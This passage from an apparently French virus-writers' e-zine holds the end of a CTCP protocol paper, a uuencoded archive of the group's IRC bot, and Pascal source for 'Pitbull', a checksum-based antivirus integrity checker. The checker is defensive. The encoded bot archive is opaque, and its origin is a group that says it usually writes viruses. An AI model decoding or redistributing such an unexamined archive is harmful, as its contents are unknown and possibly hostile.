18.57.19 under SunOS 4.1.1 on Sun
SLC:FTP.Lysator.LiU.SE:/pub/emacs Kiwi-5.2.el.Z
Kiwi.README\001
if the client is named Kiwi of version 5.2 and is used under GNU Emacs
18.57.19 running on a Sun SLCwith SunOS 4.1.1. The client claims a
copy of it can be found with anonymous FTP on FTP.Lysator.LiU.SE after
giving the FTP command "cd /pub/emacs/". There, one should get files
Kiwi-5.2.el.Z and Kiwi.README; presumly one of the files tells how to
proceed with building the client after having gotten the files.
-----------------------------------------------------------------------------
<-- end CTCP.paper -->
Voila c'est tout pour l'instant. la prochaine fois on verra comment traiter une
liste d'utilisateur.
Voilà déjà une version uuencoder du bot precedent convertit en C++.
A noter qu'il a été un peu améliorer.
<-- cut here -->
begin 644 rtcbot.0.2.tar.gz
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
+E/\'EMYAS0!X````
`
end
<-- cut here -->
<-- File by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
RTC-AV\Pibull
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Introduction
=============
Cette fois, on ne va pas faire un virus, on va se placer dans l'autre camp. Pour cette première, j'ai concocté un petit antivirus (basé, je dois le dire, sur un programme qui n'est pas de moi), un contrôleur d'intégrité. Qu'est-ce qu'un contrôleur d'intégrité? C'est un programme qui est chargé de faire une liste de tous les exécutables (ou même d'autres fichiers si vous le voulez) avec quelques unes de leur caractéristiques (date, taille, checksum). Ce genre de programme est très facile à faire, même pour quelqu'un qui ne connaît pas les virus. Je vous donne le programme en Pascal, c'est la version 0.1 bêta (ce qui ne veut pas dire qu'elle n'est pas terminée mais qu'elle n'est pas de toute beauté).
Le code
========
--------------------------------CUT HERE--------------------------------
uses crt,dos,rtctools;
const
max_entries=3000;
max_cfg=10;
type
Logrec_type=record
name:string[200];
time:longint;
size:longint;
checksum:longint;
found:boolean;
end;
Cfg_type=record
extension:string[6];
OK:boolean;
end;
var
LstFile:text;
LogFile:file of Logrec_type;
LogEntries:longint;
Log:array [1..max_entries] of ^Logrec_type;
j:word;
ExitCode:boolean;
SearchDir:string;
CurrDir:string;
CfgFile:file of Cfg_type;
CfgEntries:byte;
Cfg:array [1..max_cfg] of ^Cfg_type;
function SearchLog(fname:string;var FN:word):boolean;
var j:word;
begin
fname:=UpString(fname);
if LogEntries>0 then for j:=1 to LogEntries do begin
if fname=Log[j]^.Name then begin
SearchLog:=true;
FN:=j;
exit;
end;
end;
SearchLog:=false;
end;
function Get_Checksum(FName:string):longint;
var
F:file;
cs:longint;
j,x:integer;
buf:array [0..511] of byte;
begin
cs:=0;
assign(F,FName);
{$I-}
reset(F,1);
{$I+}
if IOResult<>0 then begin
Get_Checksum:=0;
textcolor(14);
writeln('Ouaf! Ouaf! No checksum for this file!');
textcolor(15);
exit;
end;
repeat
blockread(F,buf,512,x);
if x>0 then for j:=0 to x-1 do cs:=cs+buf[j];
until eof(F);
close(F);
Get_Checksum:=cs;
end;
procedure check_dir(dir:string);
var
SR:SearchRec;
Checksum:longint;
FN,i:word;
cmd:char;
procedure check_files(ext:string);
begin
FindFirst(dir+ext,AnyFile,SR);
while DosError=0 do begin
if SearchLog(dir+SR.name,FN) then begin
Checksum:=Get_Checksum(dir+SR.name);
if (Log[FN]^.time<>SR.time) or (Log[FN]^.size<>SR.size) or (Log[FN]^.checksum<>Checksum) then begin
textcolor(14);
writeln('Ouaf! Oauf! ',dir+SR.name,' has changed!');
write(' Do you want to update its record? ');
textcolor(15);
write(LstFile,'Ouaf! Ouaf! ',dir+SR.name,' has changed! Update? ');
repeat cmd:=UpCase(Readkey) until cmd in ['Y','N'];
if cmd='Y' then begin
Log[FN]^.time:=SR.time;
Log[FN]^.size:=SR.size;
Log[FN]^.Checksum:=Checksum;
Log[FN]^.found:=true;
end;
writeln(cmd);
writeln(LstFile,cmd);
end else begin
writeln(dir+SR.name,' validated.');
Log[FN]^.found:=true;
end;
end else begin
if LogEntries<max_entries then begin
writeln('Ouaf! ',dir+SR.name,' in Pitbull''s log.');
writeln(LstFile,'New file ',dir+SR.name,' in Pitbull''s log.');
LogEntries:=LogEntries+1;
new(Log[LogEntries]);
Log[LogEntries]^.name:=dir+SR.name;
Log[LogEntries]^.time:=SR.time;
Log[LogEntries]^.size:=SR.size;
Log[LogEntries]^.checksum:=Get_Checksum(dir+SR.name);
Log[LogEntries]^.found:=true;
end else begin
textcolor(14);
writeln('OUAF! OUAF! TOO MANY ENTRIES. COULD NOT ADD ',dir+SR.name,'.');
textcolor(15);
writeln(LstFile,'TOO MANY ENTRIES. COULD NOT ADD ',dir+SR.name,'.');
end;
end;
FindNext(SR);
end;
end;
begin
dir:=UpString(dir);
for i:=0 to CfgEntries do if Cfg[i]^.OK then check_files(Cfg[i]^.extension);
FindFirst('*.*',Directory,SR);
while DosError=0 do begin
if (SR.attr and Directory <>0) and (SR.name[1]<>'.') then begin
ChDir(SR.name);
check_dir(dir+SR.name+'\');
ChDir('..');
end;
FindNext(SR);
end;
end;
procedure check_boot;
var
FN,j:word;
cs:longint;
buf:array [0..511] of byte;
r:registers;
cmd:char;
currdrv:byte;
begin
r.ah:=$19;
intr($21,r);
currdrv:=r.al;
if currdrv>=2 then currdrv:=currdrv+$80-2;
if currdrv=$80 then begin
r.ax:=$201;
r.bx:=ofs(buf);
r.es:=sseg;
r.cx:=1;
r.dx:=$80;
intr($13,r);
r.ax:=$201;
intr($13,r);
cs:=0;
for j:=0 to 511 do cs:=cs+buf[j];
if SearchLog('**MBS',FN) then begin
Log[FN]^.found:=true;
if Log[FN]^.checksum=cs then writeln('Master Boot Sector verified.') else begin
textcolor(14);
write('Ouaf! Ouaf! Master Boot Sector has changed! Update? ');
textcolor(15);
write(LstFile,'Ouaf! Ouaf! Master Boot Sector has changed! Update? ');
repeat cmd:=UpCase(Readkey) until cmd in ['Y','N'];
if cmd='Y' then Log[FN]^.checksum:=cs;
writeln(cmd);
writeln(LstFile,cmd);
end;
end else begin
writeln('Ouaf! Master Boot Sector data ADDED to log');
writeln(LstFile,'Master Boot Sector data ADDED to log');
LogEntries:=LogEntries+1;
new(Log[LogEntries]);
Log[LogEntries]^.name:='**MBS';
Log[LogEntries]^.checksum:=cs;
Log[LogEntries]^.found:=true;
end;
j:=$1BE;
while (j<$1FE) and (buf[j]<>$80) do j:=j+$10;
if buf[j]=$80 then begin
r.dx:=buf[j]+256*buf[j+1];
r.cx:=buf[j+2]+256*buf[j+3];
end else exit;
end else begin
r.cx:=1;
r.dx:=currdrv;
end;
if currdrv<$81 then begin
r.ax:=$201;
r.bx:=ofs(buf);
r.es:=sseg;
intr($13,r);
r.ax:=$201;
intr($13,r);
cs:=0;
for j:=0 to 511 do cs:=cs+buf[j];
if SearchLog('**BOOT',FN) then begin
Log[FN]^.found:=true;
if Log[FN]^.checksum=cs then writeln('BootSector verified.') else begin
textcolor(14);
write('Ouaf! Ouaf! Boot Sector has changed! Update? ');
textcolor(15);
write(LstFile,'Ouaf! Ouaf! Boot Sector has changed! Update? ');
repeat cmd:=UpCase(readkey) until cmd in ['Y','N'];
if cmd='Y' then Log[FN]^.checksum:=cs;
writeln(cmd);
writeln(LstFile,cmd);
end;
end else begin
writeln('Ouaf! Boot Sector data ADDED to log.');
writeln(LstFile,'Boot Sector data ADDED to log.');
LogEntries:=LogEntries+1;
new(Log[LogEntries]);
Log[LogEntries]^.name:='**BOOT';
Log[LogEntries]^.checksum:=cs;
Log[LogEntries]^.found:=true;
end;
end;
end;
procedure PurgeFile(j:word);
var
cmd:char;
i:word;
begin
textcolor(14);
writeln('Ouaf! Ouaf! ',Log[j]^.name,' was not found.');
write(' Delete from Pibulll''s log? ');
textcolor(15);
write(LstFile,'Ouaf! Ouaf! ',Log[j]^.name,' was not found. Delete from Pitbull''s log?');
repeat cmd:=UpCase(readkey) until cmd in ['Y','N'];
if cmd='Y' then begin
for i:=j to LogEntries-1 do Log[i]^:=Log[i+1]^;
LogEntries:=LogEntries-1;
end;
writeln(cmd);
writeln(LstFile,cmd);
end;
procedure Pitbull_wants_work(var ExitCode:boolean);
function Is_in_list(ext:string):boolean;
var
k:byte;
test:boolean;
begin
test:=false;
for k:=0 to CfgEntries do test:=(Cfg[k]^.extension=ext) or test;
Is_in_list:=test;
end;
var
i,j:byte;
cmd:char;
ext:string;
begin
repeat
clrscr;
writeln;
textcolor(9);
writeln(' <<<<<< RTC-AV\Pitbull version 0.1 bta >>>>>>');
writeln('Pitbull, the integrity checker made by AndroGyne from RTC GAng');
writeln;
textcolor(15);
writeln('Pitbull''s list :');
for i:=1 to CfgEntries do begin
if Cfg[i]^.OK then textcolor(14) else textcolor(6);
writeln(' -> '+Cfg[i]^.extension);
end;
textcolor(7);
writeln;
writeln(' <Space>:Ouaf!');
writeln(' <F1>:Add Extension');
writeln(' <F2>:Turn on/off Extension');
writeln(' <F3>:Kill Extension');
writeln(' <Escape>:Exit');
repeat cmd:=UpCase(readkey) until cmd in [#32,#59,#60,#61,#27];
case cmd of
#27:begin
rewrite(CfgFile);
for i:=1 to CfgEntries do write(CfgFile,Cfg[i]^);
close(CfgFile);
halt;
end;
#59:begin
repeat
write('Add extension : ');
readln(ext);
until length(ext)=3;
ext:='*.'+ext;
if Is_in_list(ext) then begin
clrscr;
writeln(ext+' is already in Pitbull''s list.');
readkey;
ExitCode:=false;
Exit;
end;
CfgEntries:=CfgEntries+1;
new(Cfg[CfgEntries]);
Cfg[CfgEntries]^.extension:=ext;
Cfg[CfgEntries]^.OK:=true;
clrscr;
writeln(ext+' is added to Pitbull''s list.');
readkey;
end;
#61:begin
repeat
write('Kill extension : ');
readln(ext);
until length(ext)=3;
ext:='*.'+ext;
if not Is_in_list(ext) then begin
clrscr;
writeln('Pitbull does not know this extension...');
readkey;
ExitCode:=false;
Exit
end;
for i:=0 to CfgEntries do if Cfg[i]^.extension=ext then begin
for j:=i to CfgEntries-1 do Cfg[j]^:=Cfg[j+1]^;
CfgEntries:=CfgEntries-1;
clrscr;
writeln(ext+' are removed from list.');
readkey;
end;
end;
#60:begin
repeat
write('Turn on/off extension : ');
readln(ext);
until length(ext)=3;
ext:='*.'+ext;
if not Is_in_list(ext) then begin
clrscr;
writeln('Pitbull does not know this extension...');
readkey;
ExitCode:=false;
Exit
end;
for i:=0 to CfgEntries do if Cfg[i]^.extension=ext then begin
Cfg[i]^.OK:=not Cfg[i]^.OK;
clrscr;
writeln('Ok! Pitbull understands you...');
readkey;
end;
end;
end;
until cmd=#32;
ExitCode:=true;
end;
begin
assign(LogFile,'\Pitbull.DAT');
{$I-}
reset(LogFile);
{$I+}
if IOResult<>0 then LogEntries:=0 else begin
for LogEntries:=1 to FileSize(LogFile) do begin
new(Log[LogEntries]);
read(LogFile,Log[LogEntries]^);
end;
close(LogFile);
end;
assign(CfgFile,'\Pitbull.CFG');
{$I-}
reset(CfgFile);
{$I+}
if IOResult<>0 then CfgEntries:=0 else begin
for CfgEntries:=1 to FileSize(CfgFile) do begin
new(Cfg[CfgEntries]);
read(CfgFile,Cfg[CfgEntries]^);
end;
close(CfgFile);
end;
ExitCode:=true;
repeat Pitbull_wants_work(ExitCode) until ExitCode;
textcolor(15);
assign(LstFile,'Pitbull.LST');
rewrite(LstFile);
if ParamCount=1 then SearchDir:=ParamStr(1) else SearchDir:='\';
GetDir(0,CurrDir);
ChDir(SearchDir);
if SearchDir[length(SearchDir)]<>'\' then SearchDir:='\';
check_boot;
check_dir(SearchDir);
j:=1;
while j<=LogEntries do begin
if Log[j]^.found then j:=j+1 else PurgeFile(j);
end;
ChDir(CurrDir);
rewrite(LogFile);
for j:=1 to LogEntries do begin
Log[j]^.found:=false;
write(LogFile,Log[j]^);
end;
close(LogFile);
rewrite(CfgFile);
for j:=1 to CfgEntries do write(CfgFile,Cfg[j]^);
close(CfgFile);
writeln(LogEntries,' files in the current log file.');
writeln(LstFile,LogEntries,' files in the current log file.');
close(LstFile);
end.
--------------------------------CUT HERE--------------------------------
Suites
=======
la RTC va tenter de développer plusieurs antivirus dans le cadre RTC-AV. Si certain(e)s sont intéressé(e)s, ils (elles) peuvent joindre la RTC, toujours à la même adresse. Toutes les propositions seront prises en considération.